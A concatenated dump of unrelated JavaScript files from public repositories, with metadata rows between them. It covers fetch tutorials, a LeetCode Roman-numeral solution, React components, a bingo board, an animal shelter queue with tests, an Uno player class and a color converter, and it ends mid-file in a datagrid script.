"שפלה 169":"אלעד",
"שפלה 170":"מא דרום השרון",
"שפלה 171":"מחנה נחשונים",
"שפלה 172":"נמל תעופה בן גוריון",
"שפלה 173":"שוהם",
"שפלה 174":"בית דגן",
"שפלה 175":"ראשון לציון",
"שפלה 178":"רמלה",
"שפלה 179":"לוד",
"שפלה 181":"מודיעין עילית",
"שפלה 182":"רחובות",
"שפלה 183":"נס ציונה",
"שפלה 184":"מזכרת בתיה",
"שפלה 186":"תחנת הכוח גזר",
"שפלה 187":"מתקן התפלה פלמחים",
"שרון 137":"בית חרות",
"שרון 138":"נתניה",
"שרון 140":"רעננה",
"שרון 141":"כפר סבא",
"שרון 142":"אבן יהודה",
"שרון 143":"הוד השרון",
"תבור 95":"נצרת",
"תבור 96":"טורעאן",
"תבור 98":"אוהלו"
};
| true |
b44bcceeacc11e80381842fba396726d2eccf3a4
|
JavaScript
|
xdpiqbx/minin-complex-js-in-simple-language
|
/js/014-02-fetch.js
|
UTF-8
| 1,971 | 3.421875 | 3 |
[] |
no_license
|
const subject =
"Урок 14. JavaScript. Запросы на сервер. Fetch, XMLHttpRequest (XHR), Ajax";
//https://youtu.be/eKCD9djJQKc?t=1266
const baseUrl = "https://youtu.be/";
const queryString = "eKCD9djJQKc?t=1266";
const url = `${baseUrl}${queryString}`;
console.log(`=====-> ${subject} <-=====`);
console.log(`====-> fetch <-====`);
console.log(`${url}`);
const requestURL = "https://jsonplaceholder.typicode.com/users";
console.log("=======================> Fetch");
{
// =======================> GET
function sendRequest(method, url, body = null) {
//fetch(url) по умолчанию выполняет GET
//fetch(url) вернёт промис body: ReadableStream
return fetch(url).then((response) => response.json());
}
// GET
sendRequest("GET", requestURL)
.then((data) => {
console.log("=======================> GET");
console.log(data);
})
.catch((error) => console.log(error))
.finally(() => {
console.log("=======================> end GET");
});
}
{
// =======================> POST
function sendRequest(method, url, body = null) {
const headers = {
"Content-Type": "application/json",
};
return fetch(url, {
method,
body: JSON.stringify(body),
headers,
}).then((response) => {
if (response.ok) {
return response.json();
}
return response.json().then((error) => {
const e = new Error("Something went wrong");
e.data = error;
throw e;
});
});
}
const body = {
name: "John",
age: 26,
};
// POST
sendRequest("POST", requestURL, body) //body передаю в xhr.send
.then((data) => {
console.log("=======================> POST");
console.log(data);
})
.catch((error) => {
console.log("ERROR!!!");
console.log("===>", error);
})
.finally(() => {
console.log("=======================> end POST");
});
}
| true |
096a588fd544c714f063dc855c1f7a1b4f3d3b23
|
JavaScript
|
Hogusong/CodeFight-JavaScript
|
/LeetCode/001_020/012_IntergerToRoman.js
|
UTF-8
| 1,195 | 3.984375 | 4 |
[] |
no_license
|
/**
* @param {number} num
* @return {string}
*/
var intToRoman = function(num) {
let roman = '';
let n = Math.floor(num / 1000);
if (n > 0) {
num = num % 1000;
roman += 'M'.repeat(n);
}
n = Math.floor(num / 100);
num = num % 100;
if (n == 9) roman += 'CM';
else if (n > 4) roman += 'D' + 'C'.repeat(n - 5);
else if (n == 4) roman += 'CD';
else if (n > 0) roman += 'C'.repeat(n);
n = Math.floor(num / 10);
num = num % 10;
if (n == 9) roman += 'XC';
else if (n > 4) roman += 'L' + 'X'.repeat(n - 5);
else if (n == 4) roman += 'XL';
else if (n > 0) roman += 'X'.repeat(n);
if (num == 9) roman += 'IX';
else if (num > 4) roman += 'V' + 'I'.repeat(num - 5);
else if (num == 4) roman += 'IV';
else if (num > 0) roman += 'I'.repeat(num);
return roman;
};
var intToRoman2 = function(num) {
const nums = [1, 4, 5, 9, 10, 40, 50, 90, 100, 400, 500, 900, 1000];
const letters = ['I', 'IV', 'V', 'IX', 'X', 'XL', 'L', 'XC', 'C', 'CD', 'D', 'CM', 'M'];
let roman = '';
let i = nums.length-1;
while (num > 0) {
if (num >= nums[i]) {
roman += letters[i]
num -= nums[i];
} else i--;
}
return roman;
};
| true |
7e666f3f6a70bbe0fabeedeefaf5f3b5e5ca5f63
|
JavaScript
|
NishuGoel/component-libr
|
/lib/client-api/dist/pathToId.js
|
UTF-8
| 461 | 2.515625 | 3 |
[
"MIT"
] |
permissive
|
"use strict";
require("core-js/modules/es.object.define-property");
require("core-js/modules/es.regexp.exec");
require("core-js/modules/es.string.match");
Object.defineProperty(exports, "__esModule", {
value: true
});
exports["default"] = pathToId;
function pathToId(path) {
var match = (path || '').match(/^\/story\/(.+)/);
if (!match) {
throw new Error("Invalid path '".concat(path, "', must start with '/story/'"));
}
return match[1];
}
| true |
87cb4127fc672b691227957b1430d349cbf397ff
|
JavaScript
|
tryrezay/Arkademy
|
/5.js
|
UTF-8
| 165 | 3.046875 | 3 |
[] |
no_license
|
var string3 = "purwakarta";
var hasil8 = string3.replace("purwakarta", "purwokerto");
console.log(hasil8)
document.getElementsByTagName("p")[0].innerHTML = hasil8
| true |
32d782d510690bb81466badaec9738a725f242b1
|
JavaScript
|
Shaphen/a-A_Classwork
|
/Week_Nine/D5/jquery_lite/src/dom_node_collection.js
|
UTF-8
| 637 | 3.015625 | 3 |
[] |
no_license
|
class DOMNodeCollection {
constructor(HTMLeles) {
this.eles = HTMLeles;
}
html(arg) {
let newVals = [];
if (arg) {
for(let i = 0; i < this.eles.length; i++) {
this.eles[i].innerText = arg;
newVals.push(this.eles[i])
}
} else {
return this.eles[0];
}
return newVals;
}
empty() {
let emptied = []
for (let i = 0; i < this.eles.length; i++) {
this.eles[i].innerText = "";
emptied.push(this.eles[i]);
}
return emptied;
}
}
module.exports = DOMNodeCollection
| true |
58c982d894c47fca9c50d22696560d685bf66f29
|
JavaScript
|
ryanrichardson2137/landing-page
|
/javascript-files/cart.js
|
UTF-8
| 279 | 2.8125 | 3 |
[
"MIT"
] |
permissive
|
$(document).ready(function(){
$('#update').on('click', function(){
var price = 90;
var quantity = $('tbody input').val();
var total = price * quantity;
$('#total1').text('$' + total + '.00');
$('#total2').text(total + '.00');
})
})
| true |
c4370e1f24bf2affc59e1d58f54bfc8c9ed6119a
|
JavaScript
|
WebDevManuel/rick-and-morty
|
/main.js
|
UTF-8
| 1,541 | 2.765625 | 3 |
[] |
no_license
|
import { createElement } from './lib/elements.js';
import './style.css';
import createCharacterCard from './components/characterCard.js';
import { fetchCharacters } from './lib/characters';
async function renderApp() {
const appElement = document.querySelector('#app');
const headerElement = createElement(
'header',
{
className: 'header',
},
[
createElement('h1', {
textContent: 'Rick and Morty',
}),
]
);
const characters = await fetchCharacters();
const characterCards = characters.map((character) =>
createCharacterCard(character)
);
/* const characters = [
{
name: 'Pawnshop Clerk',
imgSrc: 'https://rickandmortyapi.com/api/character/avatar/258.jpeg',
status: 'Alive',
race: 'Alien',
lastKnownLocation: 'Pawn Shop Planet',
firstSeenIn: 'Raising Gazorpazorp',
},
{
name: 'Pencilvester',
imgSrc: 'https://rickandmortyapi.com/api/character/avatar/259.jpeg',
status: 'Dead',
race: 'Alien',
lastKnownLocation: 'Earth (Replacement Dimension)',
firstSeenIn: 'Total Rickall',
},
{
name: 'Dr. Xenon Bloom',
imgSrc: 'https://rickandmortyapi.com/api/character/avatar/108.jpeg',
status: 'Dead',
race: 'Humanoid',
lastKnownLocation: 'Anatomy Park',
firstSeenIn: 'Anatomy Park',
},
]; */
const mainElement = createElement(
'main',
{
className: 'main',
},
characterCards
);
appElement.append(headerElement, mainElement);
}
renderApp();
| true |
ef9fcbde10a85286dc86f95a85a750d92676e2b0
|
JavaScript
|
marcomuser/lab-react-ironbook
|
/ironbook/src/App.js
|
UTF-8
| 2,834 | 2.859375 | 3 |
[] |
no_license
|
import React, { Component } from 'react';
import users from "./users";
import "./App.css";
export default class App extends Component {
state = {
users,
search: '',
student: false,
teacher: false
}
handleChange = event => {
const target = event.target;
const name = target.name;
const value = target.type === 'checkbox' ? target.checked : target.value;
this.setState({
[name]: value
})
}
handleSubmit = event => {
event.preventDefault();
const newUsers = users.filter(user => {
if (this.state.student && !this.state.teacher) {
return (user.firstName.toLowerCase().includes(this.state.search.toLowerCase()) || user.lastName.toLowerCase().includes(this.state.search.toLowerCase())) && user.role === 'student'
} else if (this.state.teacher && !this.state.student) {
return (user.firstName.toLowerCase().includes(this.state.search.toLowerCase()) || user.lastName.toLowerCase().includes(this.state.search.toLowerCase())) && user.role === 'teacher'
} else {
return user.firstName.toLowerCase().includes(this.state.search.toLowerCase()) || user.lastName.toLowerCase().includes(this.state.search.toLowerCase())
}
})
this.setState((state, props) => ({
users: newUsers,
search: '',
}))
}
render() {
const tableRow = this.state.users.map(user => {
return (
<tr key={user.id}>
<td>{user.firstName}</td>
<td>{user.lastName}</td>
<td>{user.campus}</td>
<td>{user.role}</td>
{user.linkedin && <td><a href={user.linkedin}><img src="./linkedin.png" alt="linkedin"/></a></td>}
</tr>
)
})
return (
<>
<form onSubmit={this.handleSubmit}>
<input
type="text"
name="search"
id="search"
value={this.state.search}
onChange={this.handleChange}
/>
<label htmlFor="student">Student</label>
<input
type="checkbox"
name="student"
id="student"
checked={this.state.student}
onChange={this.handleChange}
/>
<label htmlFor="teacher">Teacher</label>
<input
type="checkbox"
name="teacher"
id="teacher"
checked={this.state.teacher}
onChange={this.handleChange}
/>
<button type="submit">Search</button>
</form>
<table>
<thead>
<tr>
<td>First name</td>
<td>Last name</td>
<td>Campus</td>
<td>Role</td>
<td>Links</td>
</tr>
</thead>
<tbody>
{tableRow}
</tbody>
</table>
</>
)
}
}
| true |
434f73b82255151b2099ad7703d3875a2fc95115
|
JavaScript
|
EduardoOuro/React-Hooks
|
/src/views/examples/UseState.jsx
|
UTF-8
| 1,309 | 2.625 | 3 |
[] |
no_license
|
import React, { useState } from 'react';
import PageTitle from '../../components/layout/PageTitle';
import SectionTitle from '../../components/layout/SectionTitle';
const UseState = (props) => {
const [state, setState] = useState(0);
const [name, setName] = useState("");
return (
<div className="UseState">
<PageTitle
title="Hook UseState"
subtitle="Estado em componentes funcionais!"/>
<SectionTitle title="Exercício #01"/>
<div className="center">
<span className="text">{state}</span>
<div >
<button className="btn"
onClick={()=> setState(state -1)}>-1</button>
<button className="btn"
onClick={()=> setState(state +1)}>+1</button>
<button className="btn"
onClick={()=> setState(current => current +1000)}>+1000</button>
</div>
</div>
<SectionTitle title="Exercício #02"/>
<input type="text" className="input"
value={name} onChange={event => setName(event.target.value)}/>
<span className="text">{name}</span>
</div>
)
}
export default UseState
| true |
7917e03d13ca0d7ece6a5470043b3b17e6c9272e
|
JavaScript
|
Wayne-Bai/AST-normalize
|
/data/onedayitwillmake/RealtimeMultiplayerNodeJs/js/BubbleDots/traits/GravityTrait.js
|
UTF-8
| 1,683 | 2.8125 | 3 |
[] |
no_license
|
/**
File:
GravityTrait.js
Created By:
Mario Gonzalez
Project :
RealtimeMultiplayerNodeJS
Abstract:
This trait will cause an entity to chase a target
Basic Usage:
*/
(function () {
BubbleDots.namespace("BubbleDots.traits");
var RATE = 0.2;
BubbleDots.traits.GravityTrait = function () {
BubbleDots.traits.GravityTrait.superclass.constructor.call(this);
this._force = BubbleDots.traits.GravityTrait.prototype.DEFAULT_FORCE;
};
BubbleDots.traits.GravityTrait.prototype = {
displayName: "GravityTrait", // Unique string name for this Trait
_force: 0,
DEFAULT_FORCE: 0.21,
/**
* @inheritDoc
*/
attach: function (anEntity) {
BubbleDots.traits.GravityTrait.superclass.attach.call(this, anEntity);
this.intercept(['updatePosition']);
},
/**
* Intercepted properties
*/
updatePosition: function (speedFactor, gameClock, gameTick) {
var trait = this.getTraitWithName("GravityTrait");
this.acceleration.y += trait._force * speedFactor;
// Call the original handleAcceleration
trait.interceptedProperties._data.updatePosition.call(this, speedFactor, gameClock, gameTick);
},
///// ACCESSORS
/**
* Set the gravitational force
* @param {Number} force Strength of gravity in Y axis
*/
setForce: function (force) {
this._force = force
}
};
// Extend BaseTrait
RealtimeMultiplayerGame.extend(BubbleDots.traits.GravityTrait, RealtimeMultiplayerGame.controller.traits.BaseTrait);
})();
| true |
4e72e14d3963e9136952101def28c54b148f2a68
|
JavaScript
|
Cpaster/algorithm-js
|
/括号生成/index.js
|
UTF-8
| 505 | 3.453125 | 3 |
[] |
no_license
|
let result_res = [];
let generateParenthesis = function(n) {
handler(n, n, "");
return result_res;
};
function handler(left, right, str) {
if(left == 0) {
for(let i = 0; i < right; i++) {
str += ")";
}
result_res.push(str);
return;
}
if(left == right) {
handler(left - 1, right, str + "(");
} else if(left < right) {
handler(left - 1, right, str + "(");
handler(left, right - 1, str + ")");
}
}
let n = 3;
let res = generateParenthesis(n);
console.log(res);
| true |
213d4693e68724196d6b15cbaa1c4e022e5c483c
|
JavaScript
|
CodeAcademyP110/p110-08-04-2019-shamssamedli
|
/src/main.js
|
UTF-8
| 272 | 3.625 | 4 |
[] |
no_license
|
"use strict";
class Human {
constructor(username, age)
{
this.username = username;
this.age = age;
}
showInfo(){
return `${this.username} ${this.age}`;
}
}
const samir = new Human("Samir Dadash-zade", 28);
console.log(samir.showInfo());
| true |
09a773059446e2744bf4c31f3353bf9ee06e8042
|
JavaScript
|
thomas7-home/System_Capstone
|
/Server_Folder/js/bingo.js
|
UTF-8
| 1,621 | 3.75 | 4 |
[] |
no_license
|
function numberGenerator() {
var n = new Array(25);
var nums = new Array(25);
for (let i = 0; i < nums.length; i++) {
var randomNumber = Math.floor(Math.random() * 70);
for (let j = 0; j < n.length; j++) {
if (n[j] == randomNumber)
randomNumber = Math.floor(Math.random() * 70);
}
n[i] = randomNumber;
}
// Output to the table
for (let k = 0; k < n.length; k++) {
// document.getElementById("square" + k).style.fontsize = "100px";
document.getElementById("square" + k).innerText = (n[k]);
document.getElementById("square" + k).style.position = "relative";
document.getElementById("square" + k).style.top = "30%"
document.getElementById("square" + k).align = "center";
}
document.getElementById("square12").innerHTML = "";
document.getElementById("square12").style = "none";
// document.getElementById("num1").innerText = (33);
// document.getElementById("num1").style.position = "relative";
// document.getElementById("num1").style.top = "30%"
// document.getElementById("num1").align = "center";
}
function putNumber(arr) {
for (let k = 0; k < arr.length; k++) {
// document.getElementById("square" + k).style.fontsize = "100px";
document.getElementById("square" + k).innerText = (arr[k]);
document.getElementById("square" + k).style.position = "relative";
document.getElementById("square" + k).style.top = "30%"
document.getElementById("square" + k).align = "center";
}
document.getElementById("square12").innerHTML = "";
document.getElementById("square12").style = "none";
}
| true |
09f9f3b0f91772d536be102b09b63052a649a9a5
|
JavaScript
|
khanriazaoif/launch-school
|
/Introduction to Programming/functions/multiply.js
|
UTF-8
| 822 | 5.09375 | 5 |
[] |
no_license
|
// Write a program that uses a multiply function to multiply two numbers and returns the result. Ask the user to enter the two numbers, then output the numbers and result as a simple equation.
// $ node multiply.js
// Enter the first number: 3.141592653589793
// Enter the second number: 2.718281828459045
// 3.141592653589793 * 2.718281828459045 = 8.539734222673566
function multiply(prompt){
let readlineSync = require('readline-sync');
let number = readlineSync.question(prompt);
return number;
}
let firstNumber = multiply(`Enter the first number`);
let secondNumber = multiply(`Enter the second number`);
let finalNumber = firstNumber * secondNumber;
// console.log(typeof(firstNumber));
// console.log(typeof(Number(firstNumber)));
console.log(`${firstNumber} * ${secondNumber} = ${finalNumber} `);
| true |
6e564026f410c1e96618aa29c299e02d3bcb7bd7
|
JavaScript
|
jnfq/web_JXZLPJ
|
/js/leader.js
|
UTF-8
| 8,224 | 2.625 | 3 |
[] |
no_license
|
angular.module("myApp",[])
.controller("myCtrl",["$http","$scope",function($http,$scope){
var teacher_name = [];
var teacher_score = [];
var scoreAndNameObj = [];
//需要的数据:被评价的教师姓名 及总分数 两个数组
// 获取所有教师姓名组成数组
$http.get("data/courseMess.json")
.then(function(data){
var datas = data.data.lists;
//获取教师姓名组成数组
for(var i=0;i<datas.length;i++){
var item = datas[i].teacher_name;
teacher_name.push(item);
}
console.log("teacher_name",teacher_name)
// 获取被评价的教师总分数组成数组
for(var j=0;j<datas.length;j++){
var sumvalue = "";
if(window.localStorage){
var storage = window.localStorage;
var res = storage.getItem("assessment"+j);
res1 = JSON.parse(res);
if(!res1){
sumvalue = 0;
}else{
sumvalue = getSum(res1);
}
teacher_score.push(sumvalue);
}else{
console.log("浏览器不支持localStorage!请尝试使用最新版的chrome浏览器");
}
}
console.log("teacher_score",teacher_score);
//获取被评价的教师平均分组成数组
if(window.localStorage){
var avgvalue = "";
var newArr = getNewArr();
console.log("newArr",newArr);
for(var i=0;i<newArr.length;i++){
for(var j=0;j<i;j++){
if(newArr[i].k == newArr[j].k){
console.log(i,j)
}
}
}
console.log("改变之后的newArr",newArr);
}else{
alert("浏览器不支持localStorage,请使用最新版的chrome浏览器");
}
//柱状图
var myBarChart = echarts.init(document.getElementById('bar_chart'));
// 指定图表的配置项和数据
var option1 = {
title: {
text: '教师综合评比表'
},
tooltip: {},
legend: {
data:['平均分']
},
xAxis: {
type: 'category',
data: teacher_name
},
yAxis: {
type: 'value'
},
series: [{
name: '平均分',
type: 'bar',
data: teacher_score
}]
};
// 使用刚指定的配置项和数据显示图表。
myBarChart.setOption(option1);
myBarChart.on('click', function (params) {
console.log('你点击的是: ' + params.name);
for(var i=0;i<teacher_name.length;i++){
if(teacher_name[i] == params.name){
console.log(i);
if(window.localStorage){
var storage = window.localStorage;
var result = storage.getItem("assessment"+i);
var resultObj = []
resultObj = JSON.parse(result)
console.log("该教师分数分布resultObj",resultObj);
var singleScore = [];
for(var j=0;j<resultObj.length;j++){
singleScore.push(resultObj[j].score);
}
console.log("singleScore",singleScore);
var addedScore = addScore(singleScore);
console.log("addedScore",addedScore)
var nameObj = [
{name:'职业道德'},
{name:'学科知识'},
{name:'教学能力'},
{name:'文化素养'},
{name:'交往能力'},
];
scoreAndNameObj = appendObj(addedScore,nameObj);
console.log(scoreAndNameObj)
// 饼状图
//需要的数据:被评价的教师姓名及分数分布构成一个对象组成一个数组
var myPieChart = echarts.init(document.getElementById('pie_chart'));
var option2 = {
title : {
text: '教师的综合评价分布',
subtext: params.name,
x:'center'
},
tooltip : {
trigger: 'item',
formatter: "{a} <br/>{b} : {c} ({d}%)"
},
legend: {
orient: 'vertical',
left: 'left',
data: ['职业道德','学科知识','教学能力','文化素养','交往能力']
},
series : [
{
name: '访问来源',
type: 'pie',
radius : '55%',
center: ['50%', '60%'],
data: scoreAndNameObj,
itemStyle: {
emphasis: {
shadowBlur: 10,
shadowOffsetX: 0,
shadowColor: 'rgba(0, 0, 0, 0.5)'
}
}
}
]
};
// 使用刚指定的配置项和数据显示图表。
myPieChart.setOption(option2);
}else{
console.log("浏览器不支持localStorage!");
}
}
}
});
},function(){
console.log("获取教师信息失败")
})
$scope.logout = function(){
window.location.href = "login.html"
}
}])
function getSum(res){
var sum = 0;
for(var i=0;i<res.length;i++){
sum = sum + parseInt(res[i].score);
}
return sum;
}
function addScore(arr){
var newArr = [];
for(var i=0;i<arr.length/2;i++){
newArr.push({"value": parseInt(arr[2*i])+parseInt(arr[2*i+1])});
}
return newArr
}
function appendObj(arr1,arr2){
var newArr = [];
for(var i =0;i<arr1.length;i++){
obj1 = $.extend(arr1[i],arr2[i]);
newArr.push(obj1);
}
return newArr;
}
function getNewArr(){
var newArr = [];
var storage = window.localStorage;
//k代表teac ,j代表stu
for(var k =0;k<10;k++){
// console.log(k);
for(var j=0;j<10;j++){
var assessmentId = "assessment_tea_id"+ k + "_stu_id" + j;
var res = storage.getItem(assessmentId);
if(!res){
avgvalue = 0;
}else{
var resArr = JSON.parse(res);
res1 = getSum(resArr)
// console.log(k,j,res1);
newArr.push({
"k":k,
"j":j,
"sum":res1
})
}
}
}
return newArr;
}
| true |
18b9df877b69ac9be978aca55482e11ce58a498a
|
JavaScript
|
vdorot/Lettris-3D
|
/src/letter-generator.js
|
UTF-8
| 3,014 | 2.984375 | 3 |
[
"BSD-3-Clause",
"MIT",
"Unlicense"
] |
permissive
|
define(['./scene/renderer', './random-letter', './scene/objects/letter'], function(Renderer, RandomLetter, Letter){
var LetterGenerator = function(scene, period){
this.scene = scene;
this.timer = null;
this.secondTimer = null;
var defaultPeriod = 2000;
this.period = period || defaultPeriod;
this.secondPeriod = 1000;
this.lastSecond = null;
this.lastTick = null;
this.secondLeft = this.secondPeriod;
this.periodLeft = 0;
};
var randomQuat = function(){
//http://hub.jmonkeyengine.org/forum/topic/random-rotation/
var u1 = Math.random();
var u2 = Math.random();
var u3 = Math.random();
var u1sqrt = Math.sqrt(u1);
var u1m1sqrt = Math.sqrt(1-u1);
var x = u1m1sqrt *Math.sin(2*Math.PI*u2);
var y = u1m1sqrt *Math.cos(2*Math.PI*u2);
var z = u1sqrt *Math.sin(2*Math.PI*u3);
var w = u1sqrt *Math.cos(2*Math.PI*u3);
return {x: x, y: y, z: z, w: w};
};
LetterGenerator.prototype.generateLetter = function(){
var ltr = RandomLetter.get();
var pos = {x:0,y: 6,z: 0 };
var object = new Letter(ltr);
object.setPosition(pos);
object.setQuaternion(randomQuat());
this.scene.add(Renderer.LAYER_LETTERS,object);
};
LetterGenerator.prototype.getPeriod = function(){
return this.period;
};
LetterGenerator.prototype.setPeriod = function(period){
var diff = period - this.period;
if(this.timer !== null){
this.period = period;
}else{
this.secondLeft = Math.max(0,this.secondLeft + diff);
this.period = period;
}
};
LetterGenerator.prototype.tick = function(){
this.lastTick = Date.now();
var self = this;
this.timer = setTimeout(function(){self.tick();},this.period);
this.generateLetter();
console.log("generator tick");
};
LetterGenerator.prototype.secondTick = function(){
this.lastSecond = Date.now();
var self = this;
this.secondTimer = setTimeout(function(){self.secondTick();},this.secondPeriod);
if(this.onSecondTick){
this.onSecondTick(this,this.period);
}
};
LetterGenerator.prototype.everySecond = function(callback){
this.onSecondTick = callback;
};
LetterGenerator.prototype.start = function(){
var self = this;
var now = Date.now();
if(this.timer === null){
if(this.lastTick === null){
this.lastTick = now;
}
this.timer = setTimeout(function(){self.tick();},this.periodLeft);
}
if(this.secondTimer === null){
if(this.lastSecond === null){
this.lastSecond = now;
}
this.secondTimer = setTimeout(function(){self.secondTick();},this.secondLeft);
}
};
LetterGenerator.prototype.pause = function(){
var now = Date.now();
this.periodLeft = this.period - (now - this.lastTick);
clearTimeout(this.timer);
this.timer = null;
this.secondLeft = this.secondPeriod - (now - this.lastSecond);
clearTimeout(this.secondTimer);
this.secondTimer = null;
};
return LetterGenerator;
});
| true |
b8f6611118cdb328b17d8500a1541eed8c1fcfb6
|
JavaScript
|
Aseelsamer/data-structures-and-algorithms401
|
/fifoShelterAnimal/fifo-animal.test.js
|
UTF-8
| 2,218 | 3.296875 | 3 |
[
"CC0-1.0"
] |
permissive
|
'use strict';
const AnimalShelter = require('../fifoShelterAnimal/fifo-animal-shelter');
describe('AnimalShelter Class', () => {
it('should recognize the class', () => {
const shelter = new AnimalShelter();
expect(shelter).toBeDefined();
});
it('should successfully enqueue a new animal to an empty queue', () => {
const shelter = new AnimalShelter();
shelter.enqueue('dog');
expect(shelter.front.value).toBe('dog');
expect(shelter.rear.value).toBe('dog');
});
it('should successfully enqueue a new animal to the rear of an empty queue', () => {
const shelter = new AnimalShelter();
shelter.enqueue('dog');
shelter.enqueue('cat');
expect(shelter.front.value).toBe('dog');
expect(shelter.rear.value).toBe('cat');
});
it('should not dequeue from an empty queue', () => {
const shelter = new AnimalShelter();
expect(() => shelter.dequeue()).toThrow(Error);
expect(() => shelter.dequeue()).toThrow('cannot dequeue from an empty queue');
});
it('should return null when the value passed for pref is neither a dog nor a cat', () => {
const shelter = new AnimalShelter();
shelter.enqueue('dog');
let result = shelter.dequeue('rabbit');
expect(result).toBe(null);
});
it('should return null when there is only one animal in the queue and its type does not match the input', () => {
const shelter = new AnimalShelter();
shelter.enqueue('dog');
let result = shelter.dequeue('cat');
expect(result).toBe(null);
});
it('should dequeue from a queue containing one animal when the animal in the queue is the input animal', () => {
const shelter = new AnimalShelter();
shelter.enqueue('dog');
let popped = shelter.dequeue('dog');
expect(popped).toBe('dog');
expect(shelter.front).toBe(null);
});
it('should dequeue from a queue containing multiple animals when the animal at the front of the queue is the preferred animal', () => {
const shelter = new AnimalShelter();
shelter.enqueue('dog');
shelter.enqueue('cat');
shelter.enqueue('cat');
let popped = shelter.dequeue('dog');
expect(popped).toBe('dog');
expect(shelter.rear.value).toBe('cat');
});
});
| true |
6f8e2802abc64ba8b77371eba585ec155c0c596d
|
JavaScript
|
floretan/uno-ai
|
/src/Player.js
|
UTF-8
| 1,726 | 3.40625 | 3 |
[] |
no_license
|
module.exports = class Player {
constructor({deck, pile, label = ''}) {
this.label = label;
this.hand = [];
this.deck = deck;
this.pile = pile;
}
canPlay() {
return this.hand.some(card => this.pile.canPlay({card}));
}
play() {
// Very simple approach, play the first playable card.
const card = this.hand.find(card => this.pile.canPlay({card}));
const playedCard = this.hand.splice(this.hand.indexOf(card), 1).pop();
let color;
if (playedCard.allowsPick()) {
const coloredCard = this.hand.find(c => typeof c.color !== 'undefined')
if (coloredCard) {
// Pick the color existing card on hand.
color = coloredCard.color;
}
else {
// Pick a random color.
color = Math.floor(Math.random() * 4);
}
}
this.pile.play({card: playedCard, color, label: this.label})
}
draw() {
if (this.deck.cards.length === 0) {
this.deck.cards.push(...this.pile.cards.splice(0, this.pile.cards.length - 1));
this.deck.shuffle();
}
const newCard = this.deck.draw();
this.hand.push(newCard);
}
doTurn() {
// @TODO: handle adding up the penalties.
if (this.pile.currentSymbol === '+2') {
this.draw();
this.draw();
}
if (this.pile.currentSymbol === 'pickplusfour') {
this.draw();
this.draw();
this.draw();
this.draw();
}
if (this.canPlay()) {
this.play();
}
else {
console.log(this.label, 'cannot play (', this.hand.map(card => card.toString()).join('|'), '), drawing');
this.draw();
if (this.canPlay()) {
this.play();
}
}
}
hasWon() {
return this.hand.length === 0;
}
};
| true |
00bfc991afdc9d4005eca619c2a38022ff3a5d45
|
JavaScript
|
DeanYCH/webpack-plugins
|
/packages/radar/src/radar/util.js
|
UTF-8
| 1,614 | 3.1875 | 3 |
[] |
no_license
|
function TransformSyntax(str, opacity) {
this.opacity = opacity || 0;
this.origin = str;
this.reg = /^#([0-9a-fA-f]{3}|[0-9a-fA-f]{6})$/;
this.hex = this.Rgb2Hex();
this.rgb = this.Hex2Rgb();
}
/*16进制转为RGB*/
TransformSyntax.prototype.Hex2Rgb = function () {
let sColor = this.origin.toLowerCase();
if (sColor && this.reg.test(sColor)) {
if (sColor.length === 4) {
let sColorNew = "#";
for (let i = 1; i < 4; i += 1) {
sColorNew += sColor.slice(i, i + 1).concat(sColor.slice(i, i + 1));
}
sColor = sColorNew;
}
//处理六位的颜色值
let sColorChange = [];
for (let i = 1; i < 7; i += 2) {
sColorChange.push(parseInt("0x" + sColor.slice(i, i + 2)));
}
sColorChange.push(parseFloat(this.opacity));
return "RGBA(" + sColorChange.join(",") + ")";
} else {
return sColor;
}
};
/*RGB颜色转换为16进制*/
TransformSyntax.prototype.Rgb2Hex = function () {
const that = this;
if (/^(rgb(a)?|RGB(A)?)/.test(this.origin)) {
let aColor = this.origin.replace(/(?:\(|\)|rgb(a)?|RGB(A)?)*/g, "").split(",");
let strHex = "#";
for (let i = 0; i < 3; i++) {
let hex = Number(aColor[i]).toString(16);
if (hex === "0") {
hex += hex;
}
strHex += hex;
}
if (strHex.length !== 7) {
strHex = that;
}
return strHex;
} else {
return that;
}
};
export default TransformSyntax;
| true |
7124b0178aea7a6ca814e2bea84292fbcbbc302b
|
JavaScript
|
itprofastur/ejercicios-en-clase-l
|
/modulo-3-leccion-06-use-state-simple/src/components/App.js
|
UTF-8
| 2,265 | 3.734375 | 4 |
[] |
no_license
|
import React, { useState } from 'react';
const App = () => {
// con esto declaro la constante email que la voy a utilizar como variable del estado, la función setEmail y el valor inicial que aquí es un string vacío
const [email, setEmail] = useState('[email protected]');
const [address, setAddress] = useState({
country: 'Spain',
city: 'Albacete'
});
console.log('El estado de email es:', email);
console.log('El estado de address es:', address);
// comparación con componentes de clase: esto equivale a poner en el constructor this.state = { email: '' }
const handleEmail = ev => {
// ejecuto setEmail cada vez que quiera cambiar el email
setEmail(ev.target.value);
// setEmail es una función que me ha dado React, por ello React se entera de que he cambiado el email y re-renderiza el componente
// esto equivale a this.setState({ email: ev.target.value })
};
const handleCity = ev => {
console.log('Me han cambiado');
// opción 1: la segunda mejor
// address.city = ev.target.value;
// setAddress({ ...address });
// opción 2: la peor porque nos obliga a escribir country cuando no queremos modificarla
setAddress({
country: address.country,
city: ev.target.value
});
// opción 3: la mejor de las tres
// setAddress({
// ...address,
// city: ev.target.value,
// });
};
return (
<div>
<h1>React hooks: useState simple</h1>
<form>
<label className="form__label" htmlFor="email">
Escribe tu email
</label>
{/* el manejo de eventos no cambia */}
<input className="form__input-text" type="text" id="email" onChange={handleEmail} />
<label className="form__label" htmlFor="city">
Escribe tu ciudad
</label>
{/* el manejo de eventos no cambia */}
<input className="form__input-text" type="text" id="city" onChange={handleCity} />
</form>
{/* como email es una constante normal, se pinta así */}
<p className="border--medium">Tu email es: {email}</p>
<p className="border--medium">Tu país es: {address.country}</p>
<p className="border--medium">Tu ciudad es: {address.city}</p>
</div>
);
};
export default App;
| true |
8d34a55838cd0ec933132b40beaed4839df3c8a7
|
JavaScript
|
ANILTON68/webmodern
|
/ANILTON JS/FUNDAMENTOS/003-Tipagem fraca.js
|
UTF-8
| 166 | 2.953125 | 3 |
[
"MIT"
] |
permissive
|
let qualquer = "EU"
console.log (qualquer)
qualquer = 3,14
console.log(qualquer)
qualquer = 3.14
console.log(qualquer)
typeof qualquer
console.log(typeof qualquer)
| true |
548a99e9b4932daa727ef145e4dd3170b83b70d7
|
JavaScript
|
jinfans/myRepository
|
/erp_web/src/main/webapp/js/trend_returnorder2.js
|
UTF-8
| 2,461 | 2.53125 | 3 |
[] |
no_license
|
$(function() {
$('#grid').datagrid({
title:'销售统计列表',
url : 'report!returnorderTrend.action',
singleSelect : true,
columns : [ [
